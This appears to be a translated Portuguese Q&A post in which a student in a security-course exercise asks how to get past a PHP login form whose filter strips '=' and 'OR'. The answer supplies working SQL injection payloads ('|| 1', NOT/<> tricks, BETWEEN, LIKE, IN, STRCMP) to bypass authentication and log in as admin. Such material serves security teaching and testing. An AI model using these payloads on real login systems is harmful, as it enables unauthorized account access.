Injeção SQL com filtragem php

Eu tenho que injetar um formulário de login para o exercício sobre um curso de segurança do computador … Eu passei o primeiro nível usando o simples

' like 1=1-- 

no campo da senha, mas agora no segundo nível, eu devo injetar de novo o mesmo formulário de login com o mesmo código fonte, exceto pelo fato de que o usuário e o PWD estão sendo controlados por uma function chamada lvl2_filter () que eu penso fazer parte dos filtros .php e não aceitam “=” e “OU”

Como eu posso fazer isso ???

O campo de nome de usuário e senha não pode estar vazio

 include_once 'filters.php'; include_once 'config.php'; ?> <?php $user = lvl2_filter($_REQUEST['user']); $pwd = lvl2_filter($_REQUEST['pwd']); $token = $_COOKIE["token_sqli2"]; if (empty($token) || !check_token($token)){ echo "

You need to be logged in!


"; } if (!empty($user) && !empty($pwd)) { $query = "SELECT user_id FROM users WHERE username='$user' and password='$pwd'"; $result = mysqli_query($db,$query); if ($result && mysqli_num_rows($result)>0) { echo "Hi $user, you are logged in."; verify_user($token, $user); } else echo "sorry, invalid username or password"; } else { ?>

Assumindo esta definição de lvl2_filter , que basicamente remove qualquer ocorrência de = e or até que não seja encontrada, ainda deve ser possível usar a operação OU lógica com || em vez de OR e uma expressão simples que avalia como verdadeira:

 username: dummy password: ' || '1 

Isso resultaria em:

 SELECT user_id FROM users WHERE username='dummy' and password='' || '1' 

Para selecionar um usuário específico, pode-se usar as regras da álgebra booleana , onde x=y = !(x!=y) :

 username: dummy password: ' || NOT(username<>'admin') AND '1 

Isso resultaria em:

 SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1' 

Aqui <> é equivalente a != Mas não contém a = .

Existem também outras operações que se poderia usar. Certifique-se de que o nome de usuário seja igual a admin :

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END